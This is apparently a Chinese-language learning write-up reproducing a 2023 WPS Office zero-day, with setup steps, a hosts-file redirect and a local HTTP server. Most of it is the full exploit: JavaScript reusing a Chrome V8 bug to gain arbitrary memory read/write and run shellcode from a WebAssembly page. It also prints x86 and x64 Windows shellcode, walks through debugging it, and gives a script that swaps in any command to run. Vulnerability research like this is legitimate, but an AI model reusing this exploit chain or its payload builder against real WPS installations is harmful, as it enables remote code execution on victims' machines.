WPS HW 漏洞 学习
复现过程
2023 年 HW 出现 WPS 0day POC
影响版本:
WPS Office 2023个人版<11.1.0.15120
WPS Office 2019企业版<11.8.2.12085
简单操作,安装指定版本以下的 wps 版本
设置 host 为
127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn
在 poc 目录下打开 cmd,启动简单的 http 服务
python -m SimpleHTTPServer 80
打开 poc 文档即可弹出计算器
原理分析
将 poc.docx 解压并搜索 1.html,发现位于./word/webExtensions/webExtension1.xml 中
查看 POC 文档,POC 文档是个 html 文件,基本为 JS 代码,并最终执行 shellcode
<script>
if(typeof alert === "undefined"){
alert = console.log;
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function gc(){ // major
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
function foo(bug) {
function C(z) {
Error.prepareStackTrace = function(t, B) {
return B[z].getThis();
};
let p = Error().stack;
Error.prepareStackTrace = null;
return p;
}
function J() {}
var optim = false;
var opt = new Function(
'a', 'b', 'c',
'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
'g++;'.repeat(70));
var e = null;
J.prototype.d = new Function(
'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
J.prototype.a = new Function('a', 'a.b(0,a)');
J.prototype.b = new Function(
'a', 'b',
'b.c();if(a){' +
'g++;'.repeat(70) + '}');
J.prototype.c = function() {
if (optim) {
var z = C(3);
var p = C(3);
z[0] = 0;
e = {M: z, C: p};
}
};
var a = new J();
// jit optim
if (bug) {
for (var V = 0; 1E4 > V; V++) {
opt(0 == V % 4 ? 1 : 4, a, 1);
}
}
optim = true;
opt(1, a, 1);
return e;
}
e1 = foo(false);
e2 = foo(true);
delete e2.M[0];
let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8);
map.delete(hole);
map.delete(hole);
map.delete("asd");
map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1);
let obj_array = {
m: 1337, target: gc
};
let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined;
let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 0xa72) {
object_idx = i;
object_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 0xa72) {
object_idx = i + 1;
object_idx_flag = 0;
break;
}
}
function addrof(obj_para) {
obj_array.target = obj_para;
let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
obj_array.target = gc;
return addr;
}
function fakeobj(addr) {
let r8 = d2u(oob_array[object_idx]);
if (object_idx_flag === 0) {
oob_array[object_idx] = u2d(addr, r8[1]);
}else {
oob_array[object_idx] = u2d(r8[0], addr);
}
return obj_array.target;
}
let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 1337) {
bk_idx = i;
bk_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 1337) {
bk_idx = i + 1;
bk_idx_flag = 0;
break;
}
}
let dv = new DataView(ab);
function get_32(addr) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
let val = dv.getUint32(0, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
return val;
}
function set_32(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint32(0, val, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
}
function write8(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint8(0, val);
}
let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length);
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16));
const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00]);
for(let i=0;i<shellcode.length;i++){
write8(rwx_mem+i,shellcode[i]);
}
f();
</script>
大佬表示一眼出是2021年的 chrome V8引擎 RCE 代码,换了 shellcode,我菜鸡看不出来 o(╥﹏╥)o 后面抽时间学一下
把 shellcode 写到 bin 文件中
import struct
shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00]
with open(r"shellcode.bin","wb") as fp:
for x in shellcode:
s = struct.pack('B',x)
fp.write(s)
fp.close()
查看可见字符
hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' shellcode.bin
命令解释:
-e '16/1 "%02X " " | "'
:16/1表示每行显示16个字节,"%02X "表示以两个十六进制字符的格式输出字节,并以空格分隔," | "表示在每行的中间以" | "分隔字节。-e '16/1 "%_p" "\n"'
:16/1表示每行显示16个字节,"%_p"表示以可打印字符的格式输出字节,"\n"表示在每行的最后加上换行符。
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 | .H........AQAPRQ
56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 | VH1.eH.R`H.R.H.R
20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 | H.rPH..JJM1.H1.
AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED | .<a|., A...A....
52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 8B 80 88 | RAQH.R .B<H.....
00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44 | ...H..tgH..P.H.D
8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48 | .@ I...VH..A.4.H
01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1 | ..M1.H1..A...A..
38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44 | 8.u.L.L$.E9.u.XD
8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49 | .@$I..fA..HD.@.I
01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A | ..A...H..AXAX^YZ
41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41 | AXAYAZH.. AR..XA
59 5A 48 8B 12 E9 57 FF FF FF 5D 48 BA 01 00 00 | YZH...W...]H....
00 00 00 00 00 48 8D 8D 01 01 00 00 41 BA 31 8B | .....H......A.1.
6F 87 FF D5 BB F0 B5 A2 56 41 BA A6 95 BD 9D FF | o.......VA......
D5 48 83 C4 28 3C 06 7C 0A 80 FB E0 75 05 BB 47 | .H..(<.|....u..G
13 72 6F 6A 00 59 41 89 DA FF D5 63 61 6C 63 00 | .roj.YA....calc.
可以看到以 calc 结尾,弹出计算器的字符串
Dump 下来的 shellcode 是二进制数据块,无法直接运行和调试,可以用 loader 将 shellcode 加载进行动态调试,此处使用 jmp2it.exe,
Jmp2it.exe 的原理传入的参数 1为 shellcode 的路径,用 CreateFile 获取文件句柄,之后使用 CreateFileMapping、MapViewOfFile 映射到自己的内存空间中,再根据参数2偏移量加上 MapViewOfFile 返回的基址获取入口地址,将此地址设为函数指针,在执行此函数前用 EB FE 循环跳转当前指令
C:\Users\win2021ltsc\Desktop>jmp2it.exe shellcode.bin 0x00 pause
** JMP2IT v1.4 - Created by Adam Kramer [2014] - Inspired by Malhost-Setup **
** As requested, the process has been paused **
To proceed with debugging:
1. Load a debugger and attach it to this process
2. If it has paused, instruct it to start running again
3. Pause the process after a few seconds
4. NOP the EF BE infinite loop which you should be on
5. Step to the CALL immediately after and then 'step into' it
=== You will then be at the shellcode ===
使用 x32dbg 附加进程,断在 jmp,把 EB FE 给 nop 掉,后面的 call 就是 shellcode
进入 shellcode
shellcode 的 calc 换成其他命令也可以跑,例如换成 notepad 加上0x00可以弹出记事本
import struct
shellcode_ = [0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5]
my_command = 'notepad'
result = [ord(char) for char in my_command]
shellcode_ = shellcode_ + result + [0x00]
with open("notepad.bin","wb") as fp:
for x in shellcode_:
s = struct.pack('B',x)
fp.write(s)
fp.close()
参考链接: